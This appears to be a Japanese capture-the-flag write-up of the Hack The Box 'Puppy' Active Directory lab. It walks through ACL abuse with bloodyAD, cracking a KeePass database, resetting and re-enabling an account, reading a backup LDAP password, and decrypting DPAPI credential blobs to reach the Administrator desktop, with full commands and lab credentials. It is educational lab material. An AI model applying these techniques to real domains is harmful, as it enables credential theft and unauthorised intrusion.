コンテンツにスキップ

HTB Puppy writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

開始時に与えられた PUPPY.HTB\levi.james の資格情報から、Active Directory のグループ ACL を調べた。HR が DEVELOPERS のメンバー属性を書き換えられることを利用して開発用 SMB 共有を読み、KeePass データベースから ant.edwards の有効な資格情報を得た。ant.edwards が adam.silver に持つ GenericAll でパスワードを変更し、無効化されていたアカウントの ACCOUNTDISABLE を外して WinRM foothold を得た。バックアップ内の LDAP bind password で steph.cooper に移り、同ユーザーの DPAPI Master Key と Enterprise Credential Blob を復号して steph.cooper_adm の資格情報を取得した。最後に同アカウントの WinRM セッションから C:\Users\Administrator\Desktop\root.txt を読めた。最終セッションでの whoami / グループは記録されていないため、steph.cooper_adm が Domain Admins であった、または NT AUTHORITY\SYSTEM であったとは断定しない。

ItemValue
BoxPuppy
PlatformHack The Box
OSWindows Server 2022 Build 20348(SMB/LDAP 列挙で確認。Nmap の OS 判定も Windows Server 2022 を示した)
DifficultyMedium
Operator
|
| supplied PUPPY.HTB\levi.james credential; SMB/LDAP + RustHound collection
v
levi.james (member of HR)
|
| HR --GenericWrite--> DEVELOPERS; bloodyAD add groupMember
v
levi.james (member of DEVELOPERS; DEV share READ)
|
| SMB read recovery.kdbx -> KDBX4 password recovery -> ant.edwards credential
v
ant.edwards
|
| Senior Devs --GenericAll--> adam.silver; set password and clear ACCOUNTDISABLE
v
adam.silver WinRM (Kerberos; user.txt)
|
| read C:\Backups\site-backup-2024-12-30.zip -> LDAP bind password
v
steph.cooper WinRM (Kerberos)
|
| DPAPI user Master Key + Enterprise Credential Blob decryption
v
steph.cooper_adm credential
|
| Kerberos TGT -> WinRM; read Administrator profile desktop
v
C:\Users\Administrator\Desktop\root.txt readable
ItemValue
Hostname / domainDC / PUPPY.HTB

名前解決には次の対応を用いた。これを /etc/hosts のどの位置へ保存したかは記録なしだが、Kerberos と WinRM の FQDN 接続には必要だった。

10.129.232.75 DC.PUPPY.HTB PUPPY.HTB DC

最初の全 TCP ポート走査は次で行った。実行時は出力をシェルの > で保存したが、保存先は再現性に関係しないため省略する。

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 10.129.232.75

重要な出力だけを残す。

53/tcp open domain
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http
636/tcp open tcpwrapped
2049/tcp open nlockmgr
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC; OS: Windows
| smb2-security-mode:
|_ Message signing enabled and required
|_clock-skew: 6h58m38s

見るべき点は以下である。

  • DNS、Kerberos、LDAP/Global Catalog、SMB、WinRM が同居しており、単体 Windows ではなく DC を含む AD 環境として扱う。
  • SMB signing 必須なので、SMB relay を第一候補にはしない。認証済み SMB 列挙と共有 ACL を優先した。
  • Kerberos は時刻差に弱い。走査では約 7 時間の skew が出たため、チケット取得前に時刻を必ず再確認する。ただし手元の時刻同期コマンドは別ホスト名 certified.htb を指定しており、Puppy との同期を直接証明する記録はない。
  • 5985/tcp は開いていても任意のドメインユーザーが WinRM 接続できることを意味しない。Remote Management Users 等の認可と、有効な NTLM/Kerberos 認証を別々に検証する。
  • 111/2049 の RPC/NFS 関連ポートと 3260/tcp iSCSI も見えたが、この経路で使ったという記録はない。

Initial Enumeration and AD Relationship Mapping

Section titled “Initial Enumeration and AD Relationship Mapping”

前提条件: 開始時に levi.james / KingofAkron2025! が与えられた。これは推測や password spray の結果ではない。

認証済み列挙では、SMB と LDAP の両方でこの資格情報が受理され、DC の OS/ドメインと共有を確認できた。列挙スクリプトが実行した NetExec コマンドは以下の三本である。ここでは $1 を dc.puppy.htb として示す(puppy.htb を入れてもよい)。users.txt と passwords.txt はスクリプトへの入力であり、開始時点で各ファイルに何を入れていたかの完全な記録はない。

ターミナルウィンドウ
nxc smb dc.puppy.htb -u users.txt -p passwords.txt --generate-hosts-file hosts
nxc smb dc.puppy.htb -u users.txt -p passwords.txt --shares --rid-brute
nxc ldap dc.puppy.htb -u users.txt -p passwords.txt --users --group

一行目は SMB 認証の可否を確認し、以後 FQDN を使うための hosts mapping を生成する。二行目は共有の権限と RID からユーザー/グループ SID を列挙する。三行目は LDAP 認証を確認した上で、ドメインユーザーとグループを取得する。開始時点の users.txt / passwords.txt の完全な内容は記録なしなので、総当たりの範囲までは断定しない。少なくとも出力は、与えられた levi.james / KingofAkron2025! が SMB/LDAP で受理され、以後のサービス/ディレクトリ列挙に使えたことを示す。

SMB [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB)
SMB [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB Share Permissions Remark
SMB DEV DEV-SHARE for PUPPY-DEVS
SMB IPC$ READ
SMB NETLOGON READ
SMB SYSVOL READ
LDAP [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert)
LDAP [*] Enumerated 9 domain users: PUPPY.HTB
LDAP Remote Management Users 2
LDAP HR 1
LDAP SENIOR DEVS 1
LDAP DEVELOPERS 3

この時点では DEV に READ は表示されない。従って、共有名を見つけたことと共有を読めることは分けて扱う必要がある。LDAP が平文 389/tcp で認証済み列挙できたことも、以後の AD 情報収集の前提になった。

RustHound / BloodHound で確認する対象は「経路」ではなく属性と ACL

Section titled “RustHound / BloodHound で確認する対象は「経路」ではなく属性と ACL”

実行コンテキスト: 攻撃端末で levi.james のドメイン資格情報を使用した。

ターミナルウィンドウ
rusthound-ce -d puppy.htb -f dc.puppy.htb -u levi.james -p 'KingofAkron2025!' -c All --zip
Connected to PUPPY.HTB Active Directory!
All data collected for NamingContext DC=PUPPY,DC=HTB
10 users parsed!
64 groups parsed!
1 computers parsed!
3 ous parsed!
1 domains parsed!
3 gpos parsed!

BloodHound の表示と記録済みの関係から、次を攻撃候補として抽出した。

levi.james --MemberOf--> HR
HR --GenericWrite--> DEVELOPERS
DEVELOPERS --MemberOf/contains--> ant.edwards, adam.silver, jamie.williams
ant.edwards --MemberOf--> SENIOR DEVS
SENIOR DEVS --GenericAll--> adam.silver
adam.silver --MemberOf--> Remote Management Users

このうち、最初の二辺は後述の add groupMember 成功と membership 再確認で、SENIOR DEVS -> adam.silver は後述のパスワード変更と userAccountControl 変更の成功で実証された。BloodHound のクエリ名、各 ACE の raw 出力、Remote Management Users の個別メンバー一覧は記録なしである。グラフの見た目だけを根拠にせず、実際の LDAP 変更とログオンで確認した。

時刻差の対処として時刻同期を試みた記録はあるが、対象が dc.puppy.htb ではなく certified.htb だった。したがって「Puppy の時刻に同期できた」とは書かない。後で TGT が発行・利用できたことは確認済みだが、時刻補正が成功理由だったかは未確認である。

ACL-guided Group Membership and Developer Share

Section titled “ACL-guided Group Membership and Developer Share”

前提条件: levi.james は HR に属し、HR が DEVELOPERS に GenericWrite を持つという関係を収集済みだった。グループの member 属性が書き込み可能なら、メンバー追加はグループ所有者変更ではなく、その属性への変更である。

状態変更 — 実行主体: PUPPY.HTB\levi.james。

ターミナルウィンドウ
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' add groupMember Developers levi.james
[+] levi.james added to Developers

直後にメンバーシップを読み直した。

ターミナルウィンドウ
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' get membership levi.james
distinguishedName: CN=HR,DC=PUPPY,DC=HTB
sAMAccountName: HR
distinguishedName: CN=DEVELOPERS,DC=PUPPY,DC=HTB
sAMAccountName: DEVELOPERS

これで DEVELOPERS 所属が確認済みになった。ただし変更前に DEVELOPERS に含まれていなかったことを直接表示した LDAP 出力は記録なしである。add groupMember の成功表示を、group owner を取ったことや ant.edwards の任意属性を書けることと混同しない。

共有 ACL の変化と KeePass データベース

Section titled “共有 ACL の変化と KeePass データベース”

同じ資格情報で共有を再確認すると、DEV に READ が付いた。

ターミナルウィンドウ
nxc smb dc.puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB Share Permissions Remark
SMB DEV READ DEV-SHARE for PUPPY-DEVS

SMB で共有の内容を列挙し、データベースを取得した。

ターミナルウィンドウ
smbclient -U 'puppy.htb/levi.james%KingofAkron2025!' --realm=puppy.htb //dc.puppy.htb/DEV
smb: \> ls
KeePassXC-2.7.9-Win64.msi A 34394112
Projects D 0
recovery.kdbx A 2677
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx

解釈: 大きなインストーラより、小さく名前が明示的な recovery.kdbx が保存資格情報の候補だった。共有の read 権限が得られたという事後状態が、次の資格情報回収への根拠である。

最初に試した keepass2john は KDBX header version 40000 を扱えなかった。

ターミナルウィンドウ
keepass2john recovery.kdbx > recovery.hash
! recovery.kdbx : File version '40000' is currently not supported!

この出力は、現在の keepass2john が KDBX4 を扱えないという環境差であり、パスワードが存在しないことを示すものではない。KDBX4 対応の keepass4brute に切り替えた。

ターミナルウィンドウ
./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
[+] Current attempt: liverpool
[*] Password found: liverpool

続けて、公式 KeePassXC CLI の実行名でエントリを出力した。

ターミナルウィンドウ
keepassxc-cli export --format csv recovery.kdbx
"Group","Title","Username","Password","URL"
"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb"
"Root","ADAM SILVER","","HJKL2025!","puppy.htb"
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb"
"Root","STEVE TUCKER","","Steve2025!","puppy.htb"
"Root","SAMUEL BLAKE","","ILY2025!","puppy.htb"

エントリの表示名と AD の sAMAccountName は同じとは限らない。列挙済みのドメインユーザーに絞って組合せを検証し、唯一この経路に使えた組合せは次だった。

ターミナルウィンドウ
nxc smb dc.puppy.htb -u ant.edwards -p 'Antman2025!'
SMB [+] PUPPY.HTB\ant.edwards:Antman2025!

ADAM SILVER / HJKL2025! はこの総当たり出力で PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE だった。したがってこれを adam.silver の元パスワードとしては扱わない。他の三エントリもこの攻撃経路で有効性を確認していない。

ACL の適用範囲を失敗で確認した SPN 操作

Section titled “ACL の適用範囲を失敗で確認した SPN 操作”

GenericWrite の説明から ant.edwards の servicePrincipalName 書き換えを試したが、これは失敗した。

ターミナルウィンドウ
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' set object ant.edwards servicePrincipalName -v 'http/ant-test.puppy.htb'
LDAPModifyException: insufficientAccessRights for CN=Anthony J. Edwards,DC=PUPPY,DC=HTB
ERROR_DS_INSUFF_ACCESS_RIGHTS

これは levi.james が DEVELOPERS グループのメンバー属性を変えられることと、ant.edwards ユーザーオブジェクトの SPN を変えられることが別 ACL であることを確認した失敗である。SPN 追加や Kerberoasting はこの先の成功経路ではない。

ツール名の差異にも注意する。この記録で使用したのは keepassxc-cli であり、kpxc-cli を実行した記録はない。両者を同じ公式 CLI と仮定してはならない。次回は command -v keepassxc-cli kpxc-cli と keepassxc-cli --version を確認して、KDBX version と対応ツールを先に照合する。keepass2john と KeePassXC CLI の具体的なバージョンは記録なしである。

ant.edwards to adam.silver: GenericAll, Account State, and WinRM

Section titled “ant.edwards to adam.silver: GenericAll, Account State, and WinRM”

前提条件: ant.edwards / Antman2025! は SMB 認証済みであり、BloodHound 関係では SENIOR DEVS を介して adam.silver に GenericAll があった。

状態変更 — 実行主体: PUPPY.HTB\ant.edwards。GenericAll は対象ユーザーに対する広い変更権限であり、ここではパスワード変更として使用した。

ターミナルウィンドウ
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' set password adam.silver 'HappyPwn2026!'
[+] Password changed successfully!

この出力は新しいパスワードの設定成功を証明する。一方、変更前のパスワードは記録されていないため、HJKL2025! などを元の値と推測してはいけない。

WinRM/ Kerberos の失敗を切り分ける

Section titled “WinRM/ Kerberos の失敗を切り分ける”

変更直後の NTLM WinRM は失敗した。

ターミナルウィンドウ
evil-winrm-py -i dc.puppy.htb -u adam.silver -p HappyPwn2026!
[*] Connecting to 'dc.puppy.htb:5985' as 'adam.silver'
[-] Failed to authenticate the user adam.silver with ntlm

次に Kerberos TGT を要求すると、アカウントが revoked という KDC 応答だった。

ターミナルウィンドウ
getTGT.py PUPPY.HTB/adam.silver:HappyPwn2026!
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

ここで「パスワードが誤り」と決めつけず、対象オブジェクトのアカウント状態を読む。

ターミナルウィンドウ
bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb get object adam.silver --attr userAccountControl
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

ACCOUNTDISABLE は userAccountControl のアカウント無効化ビットである。KDC_ERR_CLIENT_REVOKED とこの属性は整合する。NTLM の失敗理由をサーバー側が詳細に返した記録はないが、少なくとも Kerberos で使えない直接原因は無効化状態として確認できた。

ACCOUNTDISABLE を外して TGT を利用する

Section titled “ACCOUNTDISABLE を外して TGT を利用する”

状態変更 — 実行主体: 引き続き PUPPY.HTB\ant.edwards。

ターミナルウィンドウ
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[+] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

属性を再確認した。

ターミナルウィンドウ
bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb get object adam.silver --attr userAccountControl
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

これは ACCOUNTDISABLE だけを外し、NORMAL_ACCOUNT と DONT_EXPIRE_PASSWORD は残したことを示す。パスワードリセットだけではなく、この UAC の状態変更が必要だった。

Kerberos realm/KDC を PUPPY.HTB / dc.puppy.htb として明示した後、adam.silver の ccache を用いて接続した。無効化解除後の getTGT.py 成功時の stdout は保存されていないが、次の ccache が受理されてリモート PowerShell prompt が得られたことは成功の事後確認になる。

ターミナルウィンドウ
evil-winrm -i dc.puppy.htb -r puppy.htb --ccache adam.silver.ccache
Info: Using ccache Kerberos ticket file: adam.silver.ccache
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>

実行環境では bad interpreter: /usr/bin/ruby3.1 と remote completion の Ruby 警告も出たが、上記の通り接続自体は継続した。環境警告と認証失敗を混同しない。

初期 foothold は次で確認した。

ターミナルウィンドウ
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> type user.txt
[REDACTED]

なお、「WinRM 権限を持たないユーザーの TGT を使ったため失敗した」という事実は、この記録からは確認できない。adam.silver は結果的に ccache で WinRM 接続でき、steph.cooper の最初の失敗は次節の通り ccache 不在だった。認可不足を示す有効 TGT での Access is denied 等の出力は記録なしである。

Windows Foothold Enumeration and the Backup Credential

Section titled “Windows Foothold Enumeration and the Backup Credential”

adam.silver のコンテキストと絞り込み

Section titled “adam.silver のコンテキストと絞り込み”

実行コンテキスト: Kerberos で WinRM 接続した PUPPY\adam.silver。

ターミナルウィンドウ
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> whoami
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> whoami /priv
puppy\adam.silver
Privilege Name Description State
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

この privilege 一覧には即時の SYSTEM 昇格を示す SeImpersonatePrivilege 等はない。したがって、トークン昇格よりも、読み取り可能な保存物とアプリケーション由来のディレクトリを調べる方針にした。

まず C:\ の直下だけを確認した。記録上の入力は ls C:\ であり、下記は同じ PowerShell alias を完全名へ正規化した表記である。

ターミナルウィンドウ
Get-ChildItem C:\
Directory: C:\
Backups
inetpub
PerfLogs
Program Files
Program Files (x86)
StorageReports
Users
Windows

C:\Backups はバックアップ・設定・旧ソースを置きやすい名前、C:\inetpub は IIS/アプリケーションファイル、C:\StorageReports は標準構成よりアプリ固有らしい名前であるため、優先対象にした。PerfLogs も同時に対象へ入れたが、この経路に関係する出力はなかった。

ターミナルウィンドウ
$targets = @(
'C:\Backups',
'C:\inetpub',
'C:\PerfLogs',
'C:\StorageReports'
)
Get-ChildItem $targets -Recurse -Force -ErrorAction SilentlyContinue
Directory: C:\Backups
-a---- 4639546 site-backup-2024-12-30.zip
Directory: C:\inetpub\DeviceHealthAttestation\bin
-a---- 208896 hassrv.dll
Directory: C:\StorageReports
d----- Scheduled

解釈と事後状態: C:\Backups\site-backup-2024-12-30.zip は 4.6 MB の具体的な読み取り対象になった。inetpub の hassrv.dll と空の StorageReports\Scheduled から、この記録で利用できる資格情報・書込み権限・タスクは得ていない。全 C:\ を -Recurse で走査した記録はない。これは正しい判断であり、Windows/WinSxS/Program Files まで全再帰するとノイズ、時間、監査痕跡を大きくする。まず root 直下から意味のある非標準ディレクトリに絞り、必要な範囲だけ深掘りする。

バックアップから LDAP bind password を得る

Section titled “バックアップから LDAP bind password を得る”

前提条件: adam.silver の WinRM セッションからファイルを読めた。

ターミナルウィンドウ
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip
Info: Download successful!

アーカイブ展開に使ったコマンドは記録なしである。展開済み内容に対して password を含む設定を検索した結果は次だった。

ターミナルウィンドウ
grep -rl password .
nms-auth-config.xml.bak
assets/js/util.js
assets/js/jquery.min.js
assets/css/main.css
assets/sass/main.scss

汎用 JavaScript/CSS の一致ではなく、LDAP 設定バックアップを読む。

ターミナルウィンドウ
cat nms-auth-config.xml.bak
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
</ldap-config>

これは steph.cooper / ChefSteph2025! という平文 LDAP bind credential の一次証拠である。SMB で有効性を確認した。

ターミナルウィンドウ
nxc smb dc.puppy.htb -u steph.cooper -p 'ChefSteph2025!'
SMB [+] PUPPY.HTB\steph.cooper:ChefSteph2025!

Kerberos ccache を明示して steph.cooper に接続する

Section titled “Kerberos ccache を明示して steph.cooper に接続する”

次の試行は -r puppy.htb により Kerberos を選んでいる一方、利用可能なチケットがなかった。

ターミナルウィンドウ
evil-winrm -i dc.puppy.htb -r puppy.htb -u steph.cooper -p 'ChefSteph2025!'
Warning: User is not needed for Kerberos auth. Ticket will be used
Warning: Password is not needed for Kerberos auth. Ticket will be used
No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1000)

この失敗は password が誤りでも WinRM 認可が不足でもなく、指定した Kerberos 認証で ccache が無かったことを示す。TGT を取得し、できた ccache を明示した。

ターミナルウィンドウ
getTGT.py PUPPY.HTB/steph.cooper:ChefSteph2025!
evil-winrm -i dc.puppy.htb -r puppy.htb --ccache steph.cooper.ccache
[*] Saving ticket in steph.cooper.ccache
Info: Using ccache Kerberos ticket file: steph.cooper.ccache
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>

steph.cooper の Remote Management Users 所属は BloodHound の記録にもあるが、最終的にはこの prompt が WinRM に成功した直接の事後確認である。

今回の実行記録には ls、type、Get-ChildItem が混在する。PowerShell では ls は Get-ChildItem、type は Get-Content の alias なので、後から再利用するなら完全名と -LiteralPath を優先する。

ターミナルウィンドウ
# 今回実行した形: 候補ディレクトリだけを隠し項目込みで再帰列挙
Get-ChildItem $targets -Recurse -Force -ErrorAction SilentlyContinue
# 今回 `type user.txt` / `type root.txt` として実行した読取りの完全名
Get-Content -LiteralPath 'C:\Users\adam.silver\Desktop\user.txt'
# flag のようにファイル名が分かる場合だけ、Users 以下へ検索範囲を限定
Get-ChildItem -LiteralPath 'C:\Users' -Filter 'root.txt' -Recurse -Force -ErrorAction SilentlyContinue

今回、target 上で Out-File を実行した記録はない。標準出力を保存したい場合の ... | Out-File -Encoding utf8 <file> は有用だが、本件で実行済みのコマンドとしては扱わない。シェルのリダイレクトは Nmap 出力の保存と、後述する Base64 デコードで使われた。

DPAPI: Credentials, Protect\<SID>, Master Key, and Credential Blob

Section titled “DPAPI: Credentials, Protect\<SID>, Master Key, and Credential Blob”

なぜこの三者を対にして調べるか

Section titled “なぜこの三者を対にして調べるか”

Windows の Credential Manager に保存された資格情報は、Credentials ディレクトリ内の Credential Blob として保存される。Blob 単体を持ち出しても通常は読めない。どの Master Key を使うかは Blob 内に記録され、その Master Key ファイルはユーザー SID ごとの Protect\<SID> 配下にある。ユーザーのログオン秘密情報(ここでは steph.cooper のパスワード)と SID を使って Master Key を復号し、その結果の復号鍵で Blob を読む、という順序である。

今回の対応関係は以下の通りである。

種別target 上の場所確認済みの意味
SIDS-1-5-21-1487982659-1829050783-2281216199-1107steph.cooper の Protect ディレクトリ名
Master Key fileC:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407740 bytes の DPAPI Master Key ファイル
Local Credential BlobC:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D11068 bytes、Local Credential Data
Enterprise Credential BlobC:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9414 bytes、Enterprise Credential Data

winPEAS は、この Master Key と二つの Credential Blob がすべて同じ GUID 556a2412-1275-4ccf-b721-e6a0b4f90407 を参照すると報告した。

MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
CredFile: ...\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
Description: Local Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
CredFile: ...\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Description: Enterprise Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407

winPEAS の大量出力のうち、実際に使った観察点はこの DPAPI 相関だけである。adam.silver 側にも Protect\...-1105 ディレクトリは見えたが、配下の Master Key/credential file は出力されず、この経路では利用しなかった。

隠しファイルを確認し、Evil-WinRM download 失敗を回避する

Section titled “隠しファイルを確認し、Evil-WinRM download 失敗を回避する”

steph.cooper の WinRM コンテキストで、候補ファイルの存在とサイズを ls -Hidden 付きで確認した。下記は同じ alias を Get-ChildItem へ正規化した表記である。

ターミナルウィンドウ
Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'
Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D'
Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'
556a2412-1275-4ccf-b721-e6a0b4f90407 -a-hs- 740
DFBE70A7E5CC19A398EBF1B96859CE5D -a-hs- 11068
C8D69EBE9A43E9DEBF6B5FBD48B521B9 -a-hs- 414

Evil-WinRM の download は、出力先にディレクトリを渡した場合に次のエラーになった。

Error: Download failed. Check filenames or paths: Is a directory @ rb_sysopen

個別ファイル名を指定しても、この環境では Ruby 側の例外で失敗した。

Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

そこで採用した回避策は、target でバイト列を Base64 化し、攻撃端末側で復元する方法である。これはバイナリを文字列としてコピーでき、今回の三ファイルに使用した。

ターミナルウィンドウ
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D'))
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))
ターミナルウィンドウ
echo '<base64 text>' | base64 -d > <file name>

Base64 はサイズ増加と copy/paste 欠落に注意する。実行記録にはない代替としては、到達可能な攻撃端末の SMB/HTTP(S) 共有へ target からコピーする方法がある。ただし outbound 接続、資格情報、転送後のハッシュ検証を別途確認する必要があるため、本件の成功方法とは区別する。

前提条件: steph.cooper / ChefSteph2025!、同ユーザーの SID、Master Key file の三つが揃った。Master Key の GUID は Blob が参照する GUID と一致している。

ターミナルウィンドウ
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
MasterKeyLen: 00000088 (136)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

これは Master Key ファイル自体を持っているだけではなく、steph.cooper のユーザー秘密情報で復号に成功したことを示す。DomainKey が存在することは出力に見えるが、domain backup key を取得・使用した記録はないため、この経路では使ったとは書かない。

復号済み key を指定して Local Credential Blob を読むと、次の保存情報だった。

ターミナルウィンドウ
dpapi.py credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : WindowsLive:target=virtualapp/didlogical
Description : PersistedCredential
Username : 02vpdyzbbgyaqelf

この出力に、この攻撃で使えるパスワードは示されていない。Username の文字列の意味や後続の Data を推測で資格情報にしない。

同じ key で Enterprise Credential Blob を読むと、ドメインパスワードが得られた。

ターミナルウィンドウ
dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!

この Blob が steph.cooper_adm / FivethChipOnItsWay2025! の唯一の取得元である。Master Key、Blob、復号手段、復号結果の全てが記録済みなので、この遷移は推測ではない。

Final Access: steph.cooper_adm and Administrator Desktop

Section titled “Final Access: steph.cooper_adm and Administrator Desktop”

前提条件: Enterprise Credential Blob から得た steph.cooper_adm の資格情報。

ターミナルウィンドウ
getTGT.py PUPPY.HTB/steph.cooper_adm:FivethChipOnItsWay2025!
evil-winrm -i dc.puppy.htb -r puppy.htb --ccache steph.cooper_adm.ccache
[*] Saving ticket in steph.cooper_adm.ccache
Info: Using ccache Kerberos ticket file: steph.cooper_adm.ccache
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents>

自身の Desktop には flag がなかったため、検索範囲を全ドライブではなく C:\Users に限定した。

ターミナルウィンドウ
Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinue
Directory: C:\Users\Administrator\Desktop
Mode Length Name
---- ------ ----
-ar--- 34 root.txt

同一セッションで Administrator profile へ移動して読めた。記録済みの入力をそのまま示す。

ターミナルウィンドウ
*Evil-WinRM* PS C:\Users\steph.cooper_adm> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]

確認済みの事後状態: steph.cooper_adm の Kerberos チケットで WinRM セッションを得て、C:\Users\Administrator\Desktop\root.txt を読み取れた。

未確認事項: 最終セッションの whoami、whoami /groups、whoami /priv は記録なしである。そのため、このアカウントの正確な管理者グループ、Administrator の ACL を読めた理由、SYSTEM への昇格の有無は未確認である。HTB の root flag 読み取りは確認したが、権限名を補完しない。

  • levi.james が DEVELOPERS の member を変更できても、ant.edwards の servicePrincipalName は変更できなかった。ERROR_DS_INSUFF_ACCESS_RIGHTS は ACL の対象が異なる証拠であり、SPN 追加/Kerberoast を続ける理由はなかった。
  • keepass2john の File version '40000' is currently not supported! は KDBX4 対応の問題だった。hash 抽出不可を「DB に有用な情報なし」と誤解しない。
  • evil-winrm -r ... -u ... -p ... の失敗は No Kerberos credentials available だった。-r では渡した user/password より ticket を使う挙動なので、ccache を明示して解決した。
  • Evil-WinRM の download は出力先ディレクトリ指定と Ruby の EstandardError 例外で失敗した。DPAPI ファイルが無いのではなく、転送機能の問題だった。
